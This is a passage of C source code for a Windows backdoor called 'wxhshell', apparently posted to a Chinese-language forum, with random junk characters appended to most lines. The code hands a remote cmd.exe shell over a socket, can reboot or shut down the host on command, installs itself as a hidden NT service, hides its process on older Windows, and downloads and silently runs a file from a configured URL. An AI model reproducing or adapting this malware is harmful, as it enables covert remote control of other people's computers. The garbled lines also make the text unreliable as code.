  // 帮助 d)uuA;n  
  case '?': { ZVH 9je  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >4wigc  
    break; iWjNK"W  
  } 0o$RvxJ  
  // 安装 0(+<uo~6p1  
  case 'i': { m33&obSP  
    if(Install()) i5le0lM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Awfd0L;9  
    else =Ks&m4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DDmC3  
    break; mr}o0@5av  
    } HqV55o5f'  
  // 卸载 PH%t#a!j3/  
  case 'r': { *c4OhMU(  
    if(Uninstall()) QmSj6pB>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h *;c"/7  
    else Y S7lB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :a&M]+!  
    break; ]g$ky.;  
    } 46T(1_Xt~  
  // 显示 wxhshell 所在路径 y g(Na  
  case 'p': { Ynf "g#(  
    char svExeFile[MAX_PATH];  LkYcFD  
    strcpy(svExeFile,"\n\r"); aOg9Dqtg)f  
      strcat(svExeFile,ExeFile); YvG$2F|_)  
        send(wsh,svExeFile,strlen(svExeFile),0); X_X7fRC0  
    break; gHp4q!SJ7  
    } yx?oxDJg  
  // 重启 :K~@JlJd  
  case 'b': { R-pON4D"*  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1d49&-N  
    if(Boot(REBOOT)) <FkaH8,7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -ABj>y[  
    else { U*K4qJ6U  
    closesocket(wsh); )( 3)^/Xz  
    ExitThread(0); t9<BQg  
    } *.w6 =}  
    break; 1 M!4hM Q  
    } f 1SKOq  
  // 关机 O2Y|<m  
  case 'd': { Bkq4V$D_  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); oNXYBeu+  
    if(Boot(SHUTDOWN)) Iw[zN[oz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9-j-nx @)  
    else { 0aR.ct%  
    closesocket(wsh); &0T7Uv-`  
    ExitThread(0); v,Kum<oi?  
    } kPy7e~  
    break; ;ja~Q .}4  
    } oD2! [&  
  // 获取shell ? XVE {N  
  case 's': { bh8GP]*E|  
    CmdShell(wsh); `Qb!W45  
    closesocket(wsh); )2EvZn  
    ExitThread(0); ;/Y#ph[  
    break; kygj" @EX  
  } T@vE@D  
  // 退出 a m5;B`}q  
  case 'x': { Rh~j -;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); F6CuY$0m=  
    CloseIt(wsh); D`41\#ti  
    break; m-C#~Cp36  
    } !4^Lv{1QZ  
  // 离开 Ye|gW=FUR  
  case 'q': { 0?FJ ~pu  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); G@D8 [  
    closesocket(wsh); (oiQ5s^f  
    WSACleanup(); '#A_KHD  
    exit(1); 9BOn8p;yz  
    break; ~^Al#@  
        } nY;Sk#9  
  } 5<GeAW8ns]  
  } O '#FVZ.g  
,%/F,O+#  
  // 提示信息 e 0$m<5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B;Z _'.i,d  
} Q!-"5P X  
  } yWc%z6dXC  
'Eia=@  
  return; 7{"F%`7L  
} Z{ YuX  
K7x;/O  
// shell模块句柄 Pj56,qd>s  
int CmdShell(SOCKET sock) - ]We|{  
{ }n^}%GB  
STARTUPINFO si; _,F\%}  
ZeroMemory(&si,sizeof(si)); MftaT5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ZrP 8/>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -=:tlH n  
PROCESS_INFORMATION ProcessInfo; =dKk #*  
char cmdline[]="cmd"; Y/mfBkh  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); k<fR)o  
  return 0; t,w/L*r+w  
} v8uUv%Hkd  
OPq6)(Q  
// 自身启动模式 dEf5x_TGm  
int StartFromService(void) ~nj+" d]  
{ ,{"K^  
typedef struct =<M>fJ)  
{ o}wRgG  
  DWORD ExitStatus; [D?xd/G  
  DWORD PebBaseAddress; %PR,TWe  
  DWORD AffinityMask; e7Gb7c~  
  DWORD BasePriority; D][I#v h  
  ULONG UniqueProcessId; RAEN  &M  
  ULONG InheritedFromUniqueProcessId; ]t17= Lr?  
}   PROCESS_BASIC_INFORMATION; H- WNu+  
(Ze\<Y#cv  
PROCNTQSIP NtQueryInformationProcess; (7~vOWs:[  
`yhc,5M  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ][OkydE  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +K=RMqM-8  
3!?QQT,!)  
  HANDLE             hProcess; rTC|8e  
  PROCESS_BASIC_INFORMATION pbi; P4MP`A  
6QPbmO]z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); w3>G3=b  
  if(NULL == hInst ) return 0; KJ-Q$ M  
%74f6\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); N'5DB[:c:  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); RzB64  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *:l$ud  
HW6Cz>WxOW  
  if (!NtQueryInformationProcess) return 0; 8,CL>*A  
}ZwnG=7T?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &t@ $]m(  
  if(!hProcess) return 0; eEmLl(Lb  
-42 U  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; lvk*Db$  
ri9n.-xs  
  CloseHandle(hProcess); Eh`W J~  
M9yqJPS}B  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); FzBny[F  
if(hProcess==NULL) return 0; ,b+Hy`t  
ws]d,]  
HMODULE hMod; {5fq4A A6  
char procName[255]; noT}NX%  
unsigned long cbNeeded; zzKU s"u  
127@ TN"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \\"CgH-  
.= 8Es#  
  CloseHandle(hProcess); !\&4,l(  
H/G;hk  
if(strstr(procName,"services")) return 1; // 以服务启动 3bugVJ9 3  
)4+uM'2%  
  return 0; // 注册表启动 +A_jm!tJS(  
} 1@<>GDB9  
?N%5c%oF  
// 主模块 mvtuV`  
int StartWxhshell(LPSTR lpCmdLine) } 4>#s$.2  
{  Z\$!:  
  SOCKET wsl; 4T<dI6I0  
BOOL val=TRUE; |@ZyD$?  
  int port=0; jm |zn  
  struct sockaddr_in door; )T^aJ-Uf  
nm,Tng oj  
  if(wscfg.ws_autoins) Install(); m )<N:|  
 & *&  
port=atoi(lpCmdLine); 'Cywn^Ym#  
%__.-;)o  
if(port<=0) port=wscfg.ws_port; abV,]x&.0  
7aN oqS+  
  WSADATA data; %A( hmC  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]<O -  
A5dH*< }  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &cx]7:;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); w?c~be$  
  door.sin_family = AF_INET; 4_Rv}Y d  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &-Z#+>=H(  
  door.sin_port = htons(port); :Z5kiEwYM  
>LB x\/  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { C_hIPMU=  
closesocket(wsl); 3j$,x(ua9  
return 1; VzFzVeJ  
} dU"C=c(w\  
_k W:FB  
  if(listen(wsl,2) == INVALID_SOCKET) { xJ|Z]m=d   
closesocket(wsl); O$peCv   
return 1; S>?B)  
} *WXqN!:  
  Wxhshell(wsl); %u$dN9cw  
  WSACleanup(); nHF  
Jc9^Hyqu&  
return 0; $2*&\/;-E!  
SB!m&;Tb  
} o&:n>:im  
x6*.zo5e  
// 以NT服务方式启动 9\NP)Vm$^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) SVyJUd_  
{ v{>9&o.J  
DWORD   status = 0; TsZX'Yn  
  DWORD   specificError = 0xfffffff; E@;v|Xc  
1^=[k  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4=n%<U`Z/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; v&ZI<Xt+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; x1*@PiO,.  
  serviceStatus.dwWin32ExitCode     = 0; Z{.L_ ]$ I  
  serviceStatus.dwServiceSpecificExitCode = 0; \U'TL_Ql  
  serviceStatus.dwCheckPoint       = 0; 5'O.l$)y  
  serviceStatus.dwWaitHint       = 0; 7llEB*dSA  
15~+Ga4  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); r;aP`MVO<  
  if (hServiceStatusHandle==0) return; &@xeWB  
vui{["  
status = GetLastError();  wZUR  
  if (status!=NO_ERROR) 'r?OzFtxh  
{ g7W\  &  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; I*)eP||  
    serviceStatus.dwCheckPoint       = 0; ma4r/8Q  
    serviceStatus.dwWaitHint       = 0; gbRdng7(}  
    serviceStatus.dwWin32ExitCode     = status; [Z?vC  
    serviceStatus.dwServiceSpecificExitCode = specificError; ./;*L D  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -Qco4>Z8  
    return; |k9A*7I  
  } s97L/iH  
6Bm2_B  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 84dej<   
  serviceStatus.dwCheckPoint       = 0; 0<S(zva7([  
  serviceStatus.dwWaitHint       = 0; @AdJu-u  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0CO6-&F9n  
} TS<uBX  
IyA8+N y  
// 处理NT服务事件,比如:启动、停止 9Fh(tzz  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *Cgd?*\7  
{ *:A )j?(  
switch(fdwControl) `Lu\zR%<  
{ }UWRH.;v  
case SERVICE_CONTROL_STOP: DWH)<\?  
  serviceStatus.dwWin32ExitCode = 0; Uyyw'Ni  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9wFQ<r  
  serviceStatus.dwCheckPoint   = 0; wen6"  
  serviceStatus.dwWaitHint     = 0; {n%U2LVL  
  { $yb8..+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); SB[,}h<u1  
  } KhV; />(  
  return; (Dl68]FX  
case SERVICE_CONTROL_PAUSE: y0' "  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,Pd2ZfZ  
  break; [%8+Fa~Wa  
case SERVICE_CONTROL_CONTINUE: "]`QQT-{0  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; DD hc^(  
  break; g)iSC?H  
case SERVICE_CONTROL_INTERROGATE: DEC,oX!bI1  
  break; 5+O#5" v_  
}; ptuW}"F  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~qT+sc!t  
} P5P<-T{-c  
?Xo9,4V1  
// 标准应用程序主函数 X|wXTecg*|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #Y*AGxk  
{ F'#e]/V1  
;mb 6i_  
// 获取操作系统版本 c~|/,FZU'  
OsIsNt=GetOsVer(); hK$-R1O  
GetModuleFileName(NULL,ExeFile,MAX_PATH); wEMUr0Hq  
t>v']a +k  
  // 从命令行安装 EH$wW l^  
  if(strpbrk(lpCmdLine,"iI")) Install(); i,,>@R  
4"j5@bppJ  
  // 下载执行文件 }H ,A T  
if(wscfg.ws_downexe) { ()>\D  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) EX&y !  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8YN+ \  
} cY>;(x@  
Ec6{?\  
if(!OsIsNt) { ;o3 .<"  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?t} [Wi}7  
HideProc(); ]yVB66l  
StartWxhshell(lpCmdLine); XW Y0WDh:  
} ^J~}KOH  
else 7F'61}qL  
  if(StartFromService()) 1^Zx-p3J  
  // 以服务方式启动 1ck2Gxn  
  StartServiceCtrlDispatcher(DispatchTable); W^+b gg<.  
else =8dCk\/  
  // 普通方式启动 R4JO)<'K&  
  StartWxhshell(lpCmdLine); nhCB ])u8l  
I"JT3[*s  
return 0; ESASsRzk  
}
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只看该作者 1 发表于: 2006-10-10
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